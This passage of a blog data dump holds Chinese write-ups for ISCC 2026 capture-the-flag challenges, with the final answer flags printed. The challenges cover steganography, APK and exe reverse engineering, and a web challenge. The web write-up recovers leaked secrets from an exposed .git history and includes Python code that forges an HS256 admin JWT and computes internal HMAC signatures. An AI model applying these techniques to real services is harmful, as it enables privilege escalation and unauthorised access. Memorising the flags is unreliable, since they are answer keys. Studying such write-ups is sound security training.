flag：\nISCC{b01edc137b5d7cf9a5dca7a405f9ae64bdd563e2cea3f0af10861ec13e5b729c} 附件下载 attachment-7.apk Pasted image 20260506190543.png ","date":"May 6, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/iscc-2026/apk/%E4%BB%A3%E5%8F%B7%E6%9A%97%E7%AE%B1%E8%A7%A3%E5%AF%86%E8%A1%8C%E5%8A%A8/","smallImg":"","tags":[{"title":"ISCC2026","url":"/tags/iscc2026/"}],"timestamp":1778025600,"title":"代号：暗箱解密行动"},{"categories":[{"title":"ISCC2026","url":"/categories/iscc2026/"}],"content":"完整 WP\n这题按你给的思路，核心链路是：\nZIP 伪加密 -\u0026gt; 修标志位 -\u0026gt; 解出 task.mp4 -\u0026gt; 提取 audio.wav -\u0026gt; Echo Hiding 解码 -\u0026gt; Morse -\u0026gt; Atbash -\u0026gt; ISCC{...}\n这份新附件最终跑出的结果是：\nISCC{GNU6+/W0KKF2(B/} 1. 识别 ZIP 伪加密\n附件是 attachment-4 (1).zip。\n它不是“真加密”，而是 ZIP 头里的加密标志位被置了。\n我检查到：\n本地文件头 PK\\x03\\x04 的加密位是正常的 中央目录头 PK\\x01\\x02 的加密位被置成了 1 这会导致很多解压工具误以为它需要密码。\n修法就是把这两个位置的最低位清零：\n本地文件头：偏移 +6 中央目录头：偏移 +8 可用代码：\nfrom pathlib import Path def clear_zip_fake_encrypt(src: Path, dst: Path) -\u0026gt; None: data = bytearray(src.read_bytes()) i = 0 while True: j = data.find(b\u0026#39;PK\\x03\\x04\u0026#39;, i) if j \u0026lt; 0: break data[j + 6] \u0026amp;= 0xFE i = j + 4 i = 0 while True: j = data.find(b\u0026#39;PK\\x01\\x02\u0026#39;, i) if j \u0026lt; 0: break data[j + 8] \u0026amp;= 0xFE i = j + 4 dst.write_bytes(data) 修完后就能正常解压，里面只有一个 task.mp4。\n2. 从 MP4 提取音频\n直接用 ffmpeg 抽出 PCM：\nffmpeg -y -i task.mp4 -vn -acodec pcm_s16le audio.wav 我实际提取到的是：\n采样率：44100 Hz 双声道 int16 长度约 1764352 个采样点 3. Echo Hiding 解码\n题目真正的信息不在画面，而在音频回声隐写里。\n按你给的 wp 参数：\n段长 ws = 2205 d0 = 100 d1 = 130 处理方式：\n左右声道取平均 每 2205 个采样切一段 对每段做倒谱 比较 100 附近和 130 附近哪个峰更高 高者对应 0/1 代码如下：\nimport numpy as np import scipy.io.wavfile as wav from pathlib import Path def echo_decode(audio: Path, ws: int = 2205, d0: int = 100, d1: int = 130): sr, x = wav.read(audio) if x.ndim == 2 and x.shape[1] == 2: sig = (x[:, 0].astype(np.float64) + x[:, 1].astype(np.float64)) / 2.0 else: sig = x.astype(np.float64) bits = [] for off in range(0, len(sig) - ws + 1, ws): seg = sig[off:off + ws] seg = seg - seg.mean() cep = np.fft.irfft(np.log(np.abs(np.fft.rfft(seg)) ** 2 + 1e-10)) p0 = float(np.max(cep[max(1, d0 - 2):d0 + 3])) p1 = float(np.max(cep[max(1, d1 - 2):d1 + 3])) bits.append(0 if p0 \u0026gt; p1 else 1) return bits 这份附件跑出来：\n比特数：800 4. 比特流转 ASCII / Morse\n把比特按 8 位一组还原成字节：\ndef bits_to_raw(bits): return bytes( int(\u0026#39;\u0026#39;.join(map(str, bits[i:i + 8])), 2) for i in range(0, len(bits) - 7, 8) ) 题目里前面一段是纯 Morse 字符集，只包含：\n. - 空格 / 所以直接截到第一个非法字符前：\ndef extract_morse_prefix(raw: bytes) -\u0026gt; str: end = 0 while end \u0026lt; len(raw) and raw[end] in b\u0026#39;.- /\u0026#39;: end += 1 return raw[:end].decode(\u0026#39;ascii\u0026#39;) 这份附件得到的 Morse 串是：\n- -- ..-. -.... .-.-. -..-. -.. ----- .--. .--. ..- ..--- -.--. -.-- -..-. 5. Morse 解码\n需要完整 Morse 表，尤其注意 .-... -\u0026gt; \u0026amp; 这一项有时会坑人。\n不过这份附件实际没用到 \u0026amp;，但字典还是建议补全。\nMORSE = { \u0026#39;.-\u0026#39;:\u0026#39;A\u0026#39;,\u0026#39;-...\u0026#39;:\u0026#39;B\u0026#39;,\u0026#39;-.-.\u0026#39;:\u0026#39;C\u0026#39;,\u0026#39;-..\u0026#39;:\u0026#39;D\u0026#39;,\u0026#39;.\u0026#39;:\u0026#39;E\u0026#39;,\u0026#39;..-.\u0026#39;:\u0026#39;F\u0026#39;,\u0026#39;--.\u0026#39;:\u0026#39;G\u0026#39;, \u0026#39;....\u0026#39;:\u0026#39;H\u0026#39;,\u0026#39;..\u0026#39;:\u0026#39;I\u0026#39;,\u0026#39;.---\u0026#39;:\u0026#39;J\u0026#39;,\u0026#39;-.-\u0026#39;:\u0026#39;K\u0026#39;,\u0026#39;.-..\u0026#39;:\u0026#39;L\u0026#39;,\u0026#39;--\u0026#39;:\u0026#39;M\u0026#39;,\u0026#39;-.\u0026#39;:\u0026#39;N\u0026#39;, \u0026#39;---\u0026#39;:\u0026#39;O\u0026#39;,\u0026#39;.--.\u0026#39;:\u0026#39;P\u0026#39;,\u0026#39;--.-\u0026#39;:\u0026#39;Q\u0026#39;,\u0026#39;.-.\u0026#39;:\u0026#39;R\u0026#39;,\u0026#39;...\u0026#39;:\u0026#39;S\u0026#39;,\u0026#39;-\u0026#39;:\u0026#39;T\u0026#39;,\u0026#39;..-\u0026#39;:\u0026#39;U\u0026#39;, \u0026#39;...-\u0026#39;:\u0026#39;V\u0026#39;,\u0026#39;.--\u0026#39;:\u0026#39;W\u0026#39;,\u0026#39;-..-\u0026#39;:\u0026#39;X\u0026#39;,\u0026#39;-.--\u0026#39;:\u0026#39;Y\u0026#39;,\u0026#39;--..\u0026#39;:\u0026#39;Z\u0026#39;, \u0026#39;-----\u0026#39;:\u0026#39;0\u0026#39;,\u0026#39;.----\u0026#39;:\u0026#39;1\u0026#39;,\u0026#39;..---\u0026#39;:\u0026#39;2\u0026#39;,\u0026#39;...--\u0026#39;:\u0026#39;3\u0026#39;,\u0026#39;....-\u0026#39;:\u0026#39;4\u0026#39;,\u0026#39;.....\u0026#39;:\u0026#39;5\u0026#39;, \u0026#39;-....\u0026#39;:\u0026#39;6\u0026#39;,\u0026#39;--...\u0026#39;:\u0026#39;7\u0026#39;,\u0026#39;---..\u0026#39;:\u0026#39;8\u0026#39;,\u0026#39;----.\u0026#39;:\u0026#39;9\u0026#39;, \u0026#39;.-.-.-\u0026#39;:\u0026#39;.\u0026#39;,\u0026#39;--..--\u0026#39;:\u0026#39;,\u0026#39;,\u0026#39;..--..\u0026#39;:\u0026#39;?\u0026#39;,\u0026#39;-.-.--\u0026#39;:\u0026#39;!\u0026#39;,\u0026#39;-....-\u0026#39;:\u0026#39;-\u0026#39;, \u0026#39;-..-.\u0026#39;:\u0026#39;/\u0026#39;,\u0026#39;-.--.\u0026#39;:\u0026#39;(\u0026#39;,\u0026#39;-.--.-\u0026#39;:\u0026#39;)\u0026#39;,\u0026#39;.----.\u0026#39;:\u0026#34;\u0026#39;\u0026#34;,\u0026#39;---...\u0026#39;:\u0026#39;:\u0026#39;, \u0026#39;-.-.-.\u0026#39;:\u0026#39;;\u0026#39;,\u0026#39;.-.-.\u0026#39;:\u0026#39;+\u0026#39;,\u0026#39;-...-\u0026#39;:\u0026#39;=\u0026#39;,\u0026#39;..--.-\u0026#39;:\u0026#39;_\u0026#39;,\u0026#39;.-..-.\u0026#39;:\u0026#39;\u0026#34;\u0026#39;, \u0026#39;...-..-\u0026#39;:\u0026#39;$\u0026#39;,\u0026#39;.--.-.\u0026#39;:\u0026#39;@\u0026#39;,\u0026#39;.-...\u0026#39;:\u0026#39;\u0026amp;\u0026#39;, } def morse_decode(morse: str) -\u0026gt; str: return \u0026#39;\u0026#39;.join(MORSE[tok] for tok in morse.split() if tok in MORSE) 解出来是：\nTMF6+/D0PPU2(Y/ 6. Atbash\n按 wp 的方式，只对字母做 Atbash，其它字符原样保留：\ndef atbash_letters_only(s: str) -\u0026gt; str: out = [] for c in s: if \u0026#39;A\u0026#39; \u0026lt;= c \u0026lt;= \u0026#39;Z\u0026#39;: out.append(chr(ord(\u0026#39;Z\u0026#39;) - (ord(c) - ord(\u0026#39;A\u0026#39;)))) elif \u0026#39;a\u0026#39; \u0026lt;= c \u0026lt;= \u0026#39;z\u0026#39;: out.append(chr(ord(\u0026#39;z\u0026#39;) - (ord(c) - ord(\u0026#39;a\u0026#39;)))) else: out.append(c) return \u0026#39;\u0026#39;.join(out) 对\nTMF6+/D0PPU2(Y/ 做 Atbash 得到：\nGNU6+/W0KKF2(B/ 最后套壳：\nISCC{GNU6+/W0KKF2(B/} 7. 一把梭脚本\nfrom __future__ import annotations from pathlib import Path import shutil import zipfile import tempfile import subprocess import numpy as np import scipy.io.wavfile as wav MORSE = { \u0026#39;.-\u0026#39;:\u0026#39;A\u0026#39;,\u0026#39;-...\u0026#39;:\u0026#39;B\u0026#39;,\u0026#39;-.-.\u0026#39;:\u0026#39;C\u0026#39;,\u0026#39;-..\u0026#39;:\u0026#39;D\u0026#39;,\u0026#39;.\u0026#39;:\u0026#39;E\u0026#39;,\u0026#39;..-.\u0026#39;:\u0026#39;F\u0026#39;,\u0026#39;--.\u0026#39;:\u0026#39;G\u0026#39;, \u0026#39;....\u0026#39;:\u0026#39;H\u0026#39;,\u0026#39;..\u0026#39;:\u0026#39;I\u0026#39;,\u0026#39;.---\u0026#39;:\u0026#39;J\u0026#39;,\u0026#39;-.-\u0026#39;:\u0026#39;K\u0026#39;,\u0026#39;.-..\u0026#39;:\u0026#39;L\u0026#39;,\u0026#39;--\u0026#39;:\u0026#39;M\u0026#39;,\u0026#39;-.\u0026#39;:\u0026#39;N\u0026#39;, \u0026#39;---\u0026#39;:\u0026#39;O\u0026#39;,\u0026#39;.--.\u0026#39;:\u0026#39;P\u0026#39;,\u0026#39;--.-\u0026#39;:\u0026#39;Q\u0026#39;,\u0026#39;.-.\u0026#39;:\u0026#39;R\u0026#39;,\u0026#39;...\u0026#39;:\u0026#39;S\u0026#39;,\u0026#39;-\u0026#39;:\u0026#39;T\u0026#39;,\u0026#39;..-\u0026#39;:\u0026#39;U\u0026#39;, \u0026#39;...-\u0026#39;:\u0026#39;V\u0026#39;,\u0026#39;.--\u0026#39;:\u0026#39;W\u0026#39;,\u0026#39;-..-\u0026#39;:\u0026#39;X\u0026#39;,\u0026#39;-.--\u0026#39;:\u0026#39;Y\u0026#39;,\u0026#39;--..\u0026#39;:\u0026#39;Z\u0026#39;, \u0026#39;-----\u0026#39;:\u0026#39;0\u0026#39;,\u0026#39;.----\u0026#39;:\u0026#39;1\u0026#39;,\u0026#39;..---\u0026#39;:\u0026#39;2\u0026#39;,\u0026#39;...--\u0026#39;:\u0026#39;3\u0026#39;,\u0026#39;....-\u0026#39;:\u0026#39;4\u0026#39;,\u0026#39;.....\u0026#39;:\u0026#39;5\u0026#39;, \u0026#39;-....\u0026#39;:\u0026#39;6\u0026#39;,\u0026#39;--...\u0026#39;:\u0026#39;7\u0026#39;,\u0026#39;---..\u0026#39;:\u0026#39;8\u0026#39;,\u0026#39;----.\u0026#39;:\u0026#39;9\u0026#39;, \u0026#39;.-.-.-\u0026#39;:\u0026#39;.\u0026#39;,\u0026#39;--..--\u0026#39;:\u0026#39;,\u0026#39;,\u0026#39;..--..\u0026#39;:\u0026#39;?\u0026#39;,\u0026#39;-.-.--\u0026#39;:\u0026#39;!\u0026#39;,\u0026#39;-....-\u0026#39;:\u0026#39;-\u0026#39;, \u0026#39;-..-.\u0026#39;:\u0026#39;/\u0026#39;,\u0026#39;-.--.\u0026#39;:\u0026#39;(\u0026#39;,\u0026#39;-.--.-\u0026#39;:\u0026#39;)\u0026#39;,\u0026#39;.----.\u0026#39;:\u0026#34;\u0026#39;\u0026#34;,\u0026#39;---...\u0026#39;:\u0026#39;:\u0026#39;, \u0026#39;-.-.-.\u0026#39;:\u0026#39;;\u0026#39;,\u0026#39;.-.-.\u0026#39;:\u0026#39;+\u0026#39;,\u0026#39;-...-\u0026#39;:\u0026#39;=\u0026#39;,\u0026#39;..--.-\u0026#39;:\u0026#39;_\u0026#39;,\u0026#39;.-..-.\u0026#39;:\u0026#39;\u0026#34;\u0026#39;, \u0026#39;...-..-\u0026#39;:\u0026#39;$\u0026#39;,\u0026#39;.--.-.\u0026#39;:\u0026#39;@\u0026#39;,\u0026#39;.-...\u0026#39;:\u0026#39;\u0026amp;\u0026#39;, } FFMPEG = r\u0026#34;C:\\Users\\ericgao\\AppData\\Local\\Programs\\Python\\Python313\\Lib\\site-packages\\imageio_ffmpeg\\binaries\\ffmpeg-win-x86_64-v7.1.exe\u0026#34; def clear_zip_fake_encrypt(src: Path, dst: Path) -\u0026gt; None: data = bytearray(src.read_bytes()) i = 0 while True: j = data.find(b\u0026#39;PK\\x03\\x04\u0026#39;, i) if j \u0026lt; 0: break data[j + 6] \u0026amp;= 0xFE i = j + 4 i = 0 while True: j = data.find(b\u0026#39;PK\\x01\\x02\u0026#39;, i) if j \u0026lt; 0: break data[j + 8] \u0026amp;= 0xFE i = j + 4 dst.write_bytes(data) def extract_audio(zip_path: Path, outdir: Path) -\u0026gt; Path: fixed_zip = outdir / \u0026#34;fixed.zip\u0026#34; mp4 = outdir / \u0026#34;task.mp4\u0026#34; audio = outdir / \u0026#34;audio.wav\u0026#34; clear_zip_fake_encrypt(zip_path, fixed_zip) with zipfile.ZipFile(fixed_zip) as zf: with zf.open(\u0026#34;task.mp4\u0026#34;) as src, open(mp4, \u0026#34;wb\u0026#34;) as dst: shutil.copyfileobj(src, dst) subprocess.run( [FFMPEG, \u0026#34;-y\u0026#34;, \u0026#34;-v\u0026#34;, \u0026#34;error\u0026#34;, \u0026#34;-i\u0026#34;, str(mp4), \u0026#34;-vn\u0026#34;, \u0026#34;-acodec\u0026#34;, \u0026#34;pcm_s16le\u0026#34;, str(audio)], check=True, ) return audio def echo_decode(audio: Path, ws: int = 2205, d0: int = 100, d1: int = 130): sr, x = wav.read(audio) if x.ndim == 2 and x.shape[1] == 2: sig = (x[:, 0].astype(np.float64) + x[:, 1].astype(np.float64)) / 2.0 else: sig = x.astype(np.float64) bits = [] for off in range(0, len(sig) - ws + 1, ws): seg = sig[off:off + ws] seg = seg - seg.mean() cep = np.fft.irfft(np.log(np.abs(np.fft.rfft(seg)) ** 2 + 1e-10)) p0 = float(np.max(cep[max(1, d0 - 2):d0 + 3])) p1 = float(np.max(cep[max(1, d1 - 2):d1 + 3])) bits.append(0 if p0 \u0026gt; p1 else 1) return bits def bits_to_morse(bits): raw = bytes( int(\u0026#39;\u0026#39;.join(map(str, bits[i:i + 8])), 2) for i in range(0, len(bits) - 7, 8) ) end = 0 while end \u0026lt; len(raw) and raw[end] in b\u0026#39;.- /\u0026#39;: end += 1 return raw[:end].decode(\u0026#34;ascii\u0026#34;) def morse_decode(morse: str) -\u0026gt; str: return \u0026#39;\u0026#39;.join(MORSE[tok] for tok in morse.split() if tok in MORSE) def atbash_letters_only(s: str) -\u0026gt; str: out = [] for c in s: if \u0026#39;A\u0026#39; \u0026lt;= c \u0026lt;= \u0026#39;Z\u0026#39;: out.append(chr(ord(\u0026#39;Z\u0026#39;) - (ord(c) - ord(\u0026#39;A\u0026#39;)))) elif \u0026#39;a\u0026#39; \u0026lt;= c \u0026lt;= \u0026#39;z\u0026#39;: out.append(chr(ord(\u0026#39;z\u0026#39;) - (ord(c) - ord(\u0026#39;a\u0026#39;)))) else: out.append(c) return \u0026#39;\u0026#39;.join(out) def solve_one(zip_path: Path) -\u0026gt; str: with tempfile.TemporaryDirectory() as td: td = Path(td) audio = extract_audio(zip_path, td) bits = echo_decode(audio) morse = bits_to_morse(bits) decoded = morse_decode(morse) body = atbash_letters_only(decoded) return f\u0026#34;ISCC{{{body}}}\u0026#34; if __name__ == \u0026#34;__main__\u0026#34;: zip_path = Path(r\u0026#34;C:\\Users\\ericgao\\Desktop\\test\\attachment-4 (1).zip\u0026#34;) print(solve_one(zip_path)) 8. 最终答案\nISCC{GNU6+/W0KKF2(B/} ","date":"May 6, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/iscc-2026/misc/%E5%8F%8C%E6%A0%A1%E5%8C%BA%E6%9D%A5%E4%BF%A1/","smallImg":"","tags":[{"title":"ISCC2026","url":"/tags/iscc2026/"}],"timestamp":1778025600,"title":"双校区来信"},{"categories":[{"title":"ISCC2026","url":"/categories/iscc2026/"}],"content":"这题的核心是两段“夜班遗留逻辑”叠起来用：\n.git 泄露拿源码历史 历史源码里同时泄露了 JWT 调试密钥和内部接口签名密钥 入口点\n访问首页后，先看前端脚本：\nGET /static/main.js 返回：\ndocument.addEventListener(\u0026#34;DOMContentLoaded\u0026#34;, () =\u0026gt; { window.__buildTrace = \u0026#34;/.git/HEAD\u0026#34;; }); 这基本就是明示去读 .git。\n继续访问：\nGET /.git/HEAD GET /.git/refs/heads/master 拿到分支头提交哈希，然后递归拉取 Git object，还原仓库历史。\n还原出的关键信息\n当前版本 legacy_probe_stub.py 里有：\nDEFAULT_AUDITOR = (\u0026#34;auditor\u0026#34;, \u0026#34;audit2025\u0026#34;) INTERNAL_DEV_SECRET = \u0026#34;ISCC_2026_JWT_DEBUG_KEY_#9527\u0026#34; JWT_ACCEPTED = [\u0026#34;RS256\u0026#34;, \u0026#34;HS256\u0026#34;] 说明：\n可以用 auditor / audit2025 登录 服务端接受 HS256 已知 HS256 密钥，可以伪造 JWT 同文件还提示：\nif night shift asks for old sign rule, inspect previous revision 前一个 revision 里有旧的内部签名逻辑：\nSERVER_SECRET = \u0026#34;ISCC_SERVER_SECRET_REAL\u0026#34; LOCAL_ONLY = (\u0026#34;127.0.0.1\u0026#34;, \u0026#34;::1\u0026#34;) AUDIT_NODE = \u0026#34;core-storage-01\u0026#34; msg = f\u0026#34;{node_id}:{ts}\u0026#34; expected = HMAC_SHA256_hex(SERVER_SECRET, msg) 这说明内部节点查询接口需要：\nnode_id ts sign = HMAC_SHA256(SERVER_SECRET, f\u0026quot;{node_id}:{ts}\u0026quot;) 而且 LOCAL_ONLY 不是问题，因为 /auditor/nodes 页面会“代你向内部审计进程发请求”，即服务端 SSRF/内部代理。\n利用步骤\n先正常登录一次，发现服务端发的是 RS256 token，但 role=user，不能直接进审计页。\n于是自己伪造一个 HS256 JWT，把角色改成 auditor。\nJWT 头和载荷大致如下：\n{\u0026#34;alg\u0026#34;:\u0026#34;HS256\u0026#34;,\u0026#34;typ\u0026#34;:\u0026#34;JWT\u0026#34;} { \u0026#34;sub\u0026#34;:\u0026#34;auditor\u0026#34;, \u0026#34;role\u0026#34;:\u0026#34;auditor\u0026#34;, \u0026#34;iat\u0026#34;: \u0026lt;now\u0026gt;, \u0026#34;exp\u0026#34;: \u0026lt;now+3600\u0026gt;, \u0026#34;iss\u0026#34;: \u0026#34;夜班审计台\u0026#34; } 签名密钥：\nISCC_2026_JWT_DEBUG_KEY_#9527 然后带着这个伪造的 audit_token 访问：\nGET /auditor/nodes 成功进入审计员页面。\n接着按旧逻辑计算内部查询签名：\nnode_id = core-storage-01 ts = 当前秒级时间戳 sign = HMAC_SHA256(\u0026quot;ISCC_SERVER_SECRET_REAL\u0026quot;, f\u0026quot;{node_id}:{ts}\u0026quot;) 提交到：\nPOST /auditor/nodes 表单数据：\nnode_id=core-storage-01 ts=\u0026lt;当前时间戳\u0026gt; sign=\u0026lt;计算出的hex签名\u0026gt; 页面回显：\nnode_id=core-storage-01, status=OK, flag=ISCC{K6FRFyHAMaMmPZNmXXpA} EXP 思路\n生成审计员 JWT：\nimport base64, json, hmac, hashlib, time secret = b\u0026#39;ISCC_2026_JWT_DEBUG_KEY_#9527\u0026#39; header = {\u0026#39;alg\u0026#39;:\u0026#39;HS256\u0026#39;,\u0026#39;typ\u0026#39;:\u0026#39;JWT\u0026#39;} payload = { \u0026#39;sub\u0026#39;:\u0026#39;auditor\u0026#39;, \u0026#39;role\u0026#39;:\u0026#39;auditor\u0026#39;, \u0026#39;iat\u0026#39;: int(time.time()), \u0026#39;exp\u0026#39;: int(time.time()) + 3600, \u0026#39;iss\u0026#39;: \u0026#39;夜班审计台\u0026#39; } def b64u(x): return base64.urlsafe_b64encode( json.dumps(x, separators=(\u0026#39;,\u0026#39;,\u0026#39;:\u0026#39;), ensure_ascii=False).encode() ).rstrip(b\u0026#39;=\u0026#39;) msg = b\u0026#39;.\u0026#39;.join([b64u(header), b64u(payload)]) sig = base64.urlsafe_b64encode(hmac.new(secret, msg, hashlib.sha256).digest()).rstrip(b\u0026#39;=\u0026#39;) token = (msg + b\u0026#39;.\u0026#39; + sig).decode() print(token) 计算节点签名：\nimport hmac, hashlib, time node_id = \u0026#39;core-storage-01\u0026#39; ts = str(int(time.time())) sign = hmac.new( b\u0026#39;ISCC_SERVER_SECRET_REAL\u0026#39;, f\u0026#39;{node_id}:{ts}\u0026#39;.encode(), hashlib.sha256 ).hexdigest() print(ts, sign) 最后带 Cookie: audit_token=\u0026lt;伪造JWT\u0026gt; 提交表单即可。\n总结\n题目考点是：\n.git 泄露 从 Git 历史找被“删掉”的敏感逻辑 JWT 算法/密钥滥用导致权限提升 服务端代发内部请求，绕过 LOCAL_ONLY Flag\nISCC{K6FRFyHAMaMmPZNmXXpA} ","date":"May 6, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/iscc-2026/web/%E5%A4%9C%E7%8F%AD%E5%AE%A1%E8%AE%A1%E5%8F%B0/","smallImg":"","tags":[{"title":"ISCC2026","url":"/tags/iscc2026/"}],"timestamp":1778025600,"title":"夜班审计台"},{"categories":[{"title":"ISCC2026","url":"/categories/iscc2026/"}],"content":"WP APK 先用 apktool d 解包，入口在 com.example.mobile01.MainActivity。点击按钮后逻辑在 MainActivity$1.onClick()：\ninput = etFlagInput.getText().toString().trim(); if (!FlagFormatChecker.checkBasicFormat(input)) { wrong; return; } if (FlagDispatcher.dispatchCheck(input)) { success; } else { wrong; } FlagFormatChecker 只检查格式：\nISCC{...} 真正校验在：\nLocalExecutor.verify(input) 对应 native 库：\nlibmobile01.so Native 导出符号里能看到关键函数：\nJava_com_example_mobile01_LocalExecutor_verify encrypt_full custom_base64_encode rc4 xor_encrypt to_hex build_keyed_b64_table get_rc4_key get_xor_key get_b64_key_from_java Java 层还有 KeyProvider.a1()，它读取 assets/bin.data，用 AES/CBC/PKCS7 解密：\nAES key = 1234567890abcdef AES iv = abcdef1234567890 解密得到：\nkey-456-xyz 这个值用于生成自定义 Base64 表。标准 Base64 表按字符 ASCII 和取模旋转：\nbase = \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#34; rot = sum(map(ord, \u0026#34;key-456-xyz\u0026#34;)) % 64 table = base[rot:] + base[:rot] rot = 45，所以自定义表为：\ntuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrs Native 目标串为：\n4TyqGS1d9262e3ff6f8122230261f encrypt_full 会把 ISCC{} 中间内容拆成三段：\npart1: 前 5 字节 part2: 接下来 6 字节 part3: 剩余 5 字节 分别处理：\npart1 -\u0026gt; custom_base64_encode part2 -\u0026gt; rc4 -\u0026gt; hex part3 -\u0026gt; xor_encrypt -\u0026gt; hex 还原出的 key：\nRC4 key = jihgfedcba XOR key = wxy`ab012 求解脚本：\nimport base64 target = \u0026#34;4TyqGS1d9262e3ff6f8122230261f\u0026#34; seg1 = target[:7] seg2 = target[7:19] seg3 = target[19:] std_b64 = \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#34; java_key = \u0026#34;key-456-xyz\u0026#34; rot = sum(map(ord, java_key)) % 64 custom_b64 = std_b64[rot:] + std_b64[:rot] rc4_key = b\u0026#34;jihgfedcba\u0026#34; xor_key = b\u0026#34;wxy`ab012\u0026#34; def rc4(data, key): s = list(range(256)) j = 0 for i in range(256): j = (j + s[i] + key[i % len(key)]) \u0026amp; 0xff s[i], s[j] = s[j], s[i] i = 0 j = 0 out = bytearray() for b in data: i = (i + 1) \u0026amp; 0xff j = (j + s[i]) \u0026amp; 0xff s[i], s[j] = s[j], s[i] out.append(b ^ s[(s[i] + s[j]) \u0026amp; 0xff]) return bytes(out) def xor_dec(data, key): return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) def custom_b64_decode(s): trans = str.maketrans(custom_b64, std_b64) std = s.translate(trans) std += \u0026#34;=\u0026#34; * ((4 - len(std) % 4) % 4) return base64.b64decode(std) p1 = custom_b64_decode(seg1) p2 = rc4(bytes.fromhex(seg2), rc4_key) p3 = xor_dec(bytes.fromhex(seg3), xor_key) flag = \u0026#34;ISCC{\u0026#34; + (p1 + p2 + p3).decode(\u0026#34;latin1\u0026#34;) + \u0026#34;}\u0026#34; print(flag) 输出：\nISCC{.a}fR;E\u0026#34;:3PeZIF~} 最终 flag：\nISCC{.a}fR;E\u0026#34;:3PeZIF~} 附件下载 attachment-8.apk ","date":"May 6, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/iscc-2026/apk/%E8%BF%B7%E9%9B%BE%E9%AA%8C%E8%AF%81/","smallImg":"","tags":[{"title":"ISCC2026","url":"/tags/iscc2026/"}],"timestamp":1778025600,"title":"迷雾验证"},{"categories":[{"title":"ISCC2026","url":"/categories/iscc2026/"}],"content":" Dual Protection WP 题目信息 题目文件：Dual Protection.exe\nflag 格式：ISCC{}\n一、程序基本行为 程序运行后会提示输入：\nInput Flag: 输入后只会输出两种结果：\nCorrect. Wrong. 通过字符串可以直接看到：\nInput Flag:\n%36s\nCorrect.\nWrong.\n其中 %36s 已经暗示输入长度和 36 很相关。\n二、主逻辑分析 主逻辑位于 0x401100 附近，核心流程可以还原为：\nmemset(buf, 0, 0x63); printf(\u0026#34;Input Flag: \u0026#34;); scanf(\u0026#34;%36s\u0026#34;, buf); if (strlen(buf) != 0x24) { return fail; } for (i = 0; i \u0026lt; 0x24; i++) { sub_401000(buf, i); sub_401050(buf, i); sub_4010D0(buf, i); } seed = 0xdeadbeef; if (CheckRemoteDebuggerPresent(GetCurrentProcess(), \u0026amp;debugged) \u0026amp;\u0026amp; debugged) { seed = 0x0badf00d; } code = VirtualAlloc(0, 0x118, 0x3000, 0x40); memcpy(code, enc_blob, 0x118); for (i = 0; i \u0026lt; 0x118; i++) { seed = seed * 0x19660d + 0x3c6ef35f; code[i] ^= (seed \u0026gt;\u0026gt; 24) \u0026amp; 0xff; } ok = code(buf); puts(ok ? \u0026#34;Correct.\u0026#34; : \u0026#34;Wrong.\u0026#34;); system(\u0026#34;pause\u0026#34;); 可以看出程序有两层保护：\n先对输入做三轮逐字节变换。\n再动态解密一段真正的校验代码。\n三、长度检查 程序手动计算输入长度，随后比较：\nif (strlen(buf) != 0x24) 因此输入长度必须为：\n0x24 = 36 四、第一层保护：三轮逐字节变换 1. sub_401000 位于 0x401000，逻辑如下：\nb = buf[i]; b ^= 0x55; b = rol8(b, 2); b = (b + i) \u0026amp; 0xff; buf[i] = b; 2. sub_401050 位于 0x401050，函数内部构造了一个 8 字节数组：\nkey = [0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF]; 逻辑如下：\nb = buf[i]; b ^= key[i % 8]; b = (b + 0x7f) \u0026amp; 0xff; buf[i] = b; 3. sub_4010D0 位于 0x4010D0，逻辑如下：\nb = buf[i]; b ^= ((i + 0x20) \u0026amp; 0xff); buf[i] = b; 4. 合并后的正向变换 对每个字符 buf[i]，整体变换为：\nb = buf[i]; b = rol8(b ^ 0x55, 2); b = (b + i) \u0026amp; 0xff; b = b ^ key[i % 8]; b = (b + 0x7f) \u0026amp; 0xff; b = b ^ ((i + 0x20) \u0026amp; 0xff); buf[i] = b; 五、第二层保护：动态解密 + 双重反调试 程序把数据区中的 0x118 字节拷贝到新申请的可执行内存，然后进行解密：\nseed = 0xdeadbeef; for (i = 0; i \u0026lt; 0x118; i++) { seed = (seed * 0x19660d + 0x3c6ef35f) \u0026amp; 0xffffffff; code[i] ^= (seed \u0026gt;\u0026gt; 24) \u0026amp; 0xff; } 但是在此之前程序调用了：\nCheckRemoteDebuggerPresent(GetCurrentProcess(), \u0026amp;debugged) 如果检测到调试器，则把种子改成：\n0x0badf00d 这样解密结果就会完全不同。\n此外，解密出的代码内部还会读取：\nfs:[0x30] 也就是 PEB，再检查 BeingDebugged 标志。 因此这题存在双重反调试：\nCheckRemoteDebuggerPresent\nPEB-\u0026gt;BeingDebugged\n如果直接挂调试器分析，解密出的校验逻辑会被故意破坏。\n六、解密后真实校验逻辑 把动态解密出来的 0x118 字节代码反汇编后，可以发现它本质上只是逐字节比较输入缓冲区和一个固定常量数组。\n常量数组为：\nconst = [ 0xC1, 0x8D, 0xA9, 0x81, 0x8F, 0x88, 0xFB, 0xE5, 0x4A, 0xF1, 0xB5, 0x38, 0x80, 0xDD, 0x67, 0x89, 0x3E, 0xC9, 0xC9, 0x89, 0x3B, 0x80, 0x2C, 0xF5, 0x6E, 0xFD, 0x7D, 0x21, 0x5F, 0x80, 0xFC, 0xA9, 0x72, 0xFC, 0x82, 0x79 ] 等价伪代码如下：\nok = 1; for (i = 0; i \u0026lt; 36; i++) { if (buf[i] != const[i]) { ok = 0; } } return ok; 因此题目本质上就是：\n输入必须长度为 36。\n输入经过三轮变换后必须等于 const 数组。\n七、逆向还原输入 正向变换为：\nb = rol8(b ^ 0x55, 2); b = (b + i) \u0026amp; 0xff; b = b ^ key[i % 8]; b = (b + 0x7f) \u0026amp; 0xff; b = b ^ ((i + 0x20) \u0026amp; 0xff); 那么逆向时按相反顺序恢复：\nb = b ^ ((i + 0x20) \u0026amp; 0xff); b = (b - 0x7f) \u0026amp; 0xff; b 